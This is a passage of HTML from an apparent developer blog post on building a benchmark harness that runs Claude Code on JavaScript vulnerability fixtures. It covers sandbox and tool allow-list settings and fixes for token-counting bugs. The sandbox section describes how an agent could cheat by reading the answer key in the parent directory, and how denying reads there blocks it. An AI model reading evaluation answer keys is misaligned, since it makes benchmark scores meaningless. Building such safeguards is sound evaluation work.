&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Read&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Glob&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Grep&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Bash&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Write&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Edit&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Object.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;keys&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(config.mcpServers &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {}).&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`mcp__${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}__*`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      ],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      permissionMode: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;bypassPermissions&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      systemPrompt: task.systemPrompt,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      sandbox: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        filesystem: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          allowWrite: [cwd],          &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// agent can only write inside fixture dir&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          denyRead: [&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;dirname&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(cwd)],   &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// agent cannot read parent dir (where answer key lives)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      hooks: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        PreToolUse:  [{ matcher: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;.*&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, hooks: [preToolHook] }],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        PostToolUse: [{ matcher: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;.*&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, hooks: [postToolHook] }],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  })) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// ... accumulate tokens (with a crucial caveat, see below)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;estimateTokens&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;value&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;unknown&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;number&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (value &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; Math.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;ceil&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;JSON&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;stringify&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(value).&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;length&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A few things worth unpacking here.&lt;/p&gt;
&lt;h3 id=&quot;sandboxing-the-agent&quot;&gt;Sandboxing the agent&lt;/h3&gt;
&lt;p&gt;By default, Claude Code can read and write anywhere on the filesystem. For a benchmark this is a problem: the agent might stumble on the answer key (the &lt;code&gt;fixtures/js-vulns.json&lt;/code&gt; file that lives one directory up from its working directory) and read it.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;sandbox.filesystem&lt;/code&gt; option closes this:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;allowWrite: [cwd]&lt;/code&gt; — writes are whitelisted to the fixture dir only&lt;/li&gt;
&lt;li&gt;&lt;code&gt;denyRead: [dirname(cwd)]&lt;/code&gt; — reading the parent directory (which contains the answer key) is blocked&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Without this, the agent can cheat and your scores are meaningless.&lt;/p&gt;
&lt;h3 id=&quot;mcp-tools-need-explicit-allow-listing&quot;&gt;MCP tools need explicit allow-listing&lt;/h3&gt;
&lt;p&gt;If your &lt;code&gt;RunConfig&lt;/code&gt; includes MCP servers, their tools won’t work unless you explicitly allow them. The &lt;code&gt;allowedTools&lt;/code&gt; array is the complete whitelist — everything else is blocked.&lt;/p&gt;
&lt;p&gt;The pattern &lt;code&gt;mcp__&amp;#x3C;server-name&gt;__*&lt;/code&gt; grants all tools from a server. We auto-derive it from &lt;code&gt;config.mcpServers&lt;/code&gt; keys so adding a new server in the JSON config is enough:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;Object.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;keys&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(config.mcpServers &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {}).&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`mcp__${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}__*`&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;step-5-getting-token-counts-right-there-are-gotchas&quot;&gt;Step 5: Getting token counts right (there are gotchas)&lt;/h2&gt;
&lt;p&gt;This took some debugging to get right. Let me save you the pain.&lt;/p&gt;
&lt;h3 id=&quot;bug-1-reading-usage-from-the-wrong-message&quot;&gt;Bug 1: Reading usage from the wrong message&lt;/h3&gt;
&lt;p&gt;The Agent SDK’s &lt;code&gt;query()&lt;/code&gt; iterator yields several message types. The &lt;code&gt;ResultMessage&lt;/code&gt; at the end has a &lt;code&gt;usage&lt;/code&gt; field — but it only contains the cost of that final tiny “done” turn, not the session total. If you read from there, you’ll get something like &lt;code&gt;in: 7, out: 3&lt;/code&gt; for a 50-turn session. Completely wrong.&lt;/p&gt;
&lt;p&gt;The correct approach: accumulate from every &lt;code&gt;AssistantMessage&lt;/code&gt;:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// ✗ Wrong — ResultMessage.usage is just the final turn, not cumulative&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;result&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; message) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  totalInputTokens &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; message.usage.input_tokens; &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// overwrites all accumulated data!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// ✓ Correct — accumulate from every assistant turn&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (message.type &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;assistant&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;usage&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (message &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;any&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;).message?.usage;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// note: .message.usage, not .usage&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (usage) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    totalInputTokens &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; usage.input_tokens &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    totalOutputTokens &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; usage.output_tokens &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    totalCacheReadTokens &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; usage.cache_read_input_tokens &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    totalCacheCreationTokens &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; usage.cache_creation_input_tokens &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Also note: &lt;code&gt;usage&lt;/code&gt; is at &lt;code&gt;message.message.usage&lt;/code&gt;, not &lt;code&gt;message.usage&lt;/code&gt;. The SDK wraps the raw API response in a &lt;code&gt;.message&lt;/code&gt; property.&lt;/p&gt;
&lt;h3 id=&quot;bug-2-the-sdk-fires-multiple-events-per-api-call&quot;&gt;Bug 2: The SDK fires multiple events per API call&lt;/h3&gt;
&lt;p&gt;This one is subtle. The Agent SDK emits one &lt;code&gt;SDKAssistantMessage&lt;/code&gt; event &lt;strong&gt;per content block&lt;/strong&gt; in an API response — not one per API call.&lt;/p&gt;
&lt;p&gt;If Claude returns a response with both a &lt;code&gt;thinking&lt;/code&gt; block and a &lt;code&gt;tool_use&lt;/code&gt; block, the SDK fires two events, each carrying the &lt;em&gt;same&lt;/em&gt; &lt;code&gt;usage&lt;/code&gt; object:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;API response:  content=[thinking, tool_use]  usage={in:3, out:54, cr:9845}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;SDK emits:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  SDKAssistantMessage #1  content=[thinking]  usage={in:3, out:54, cr:9845}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;  SDKAssistantMessage #2  content=[tool_use]  usage={in:3, out:54, cr:9845}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you naively accumulate &lt;code&gt;usage.output_tokens&lt;/code&gt; on every event, those 54 tokens get counted twice. The API billed you once; you counted twice.&lt;/p&gt;
&lt;p&gt;The fix: track the last-seen usage fingerprint per session level, only accumulate when it changes.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;lastUsagePerSession&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;Map&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (message.type &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;assistant&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;usage&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (message &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;any&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;).message?.usage;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (usage) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// parent_tool_use_id identifies which session level this message belongs to&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// (null = root session, non-null = sub-agent session)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;sessionKey&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; (message &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;any&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;).parent_tool_use_id &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;??&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;usageKey&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;`${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;usage&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;input_tokens&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}:${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;usage&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;output_tokens&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;}:${&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;usage&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: 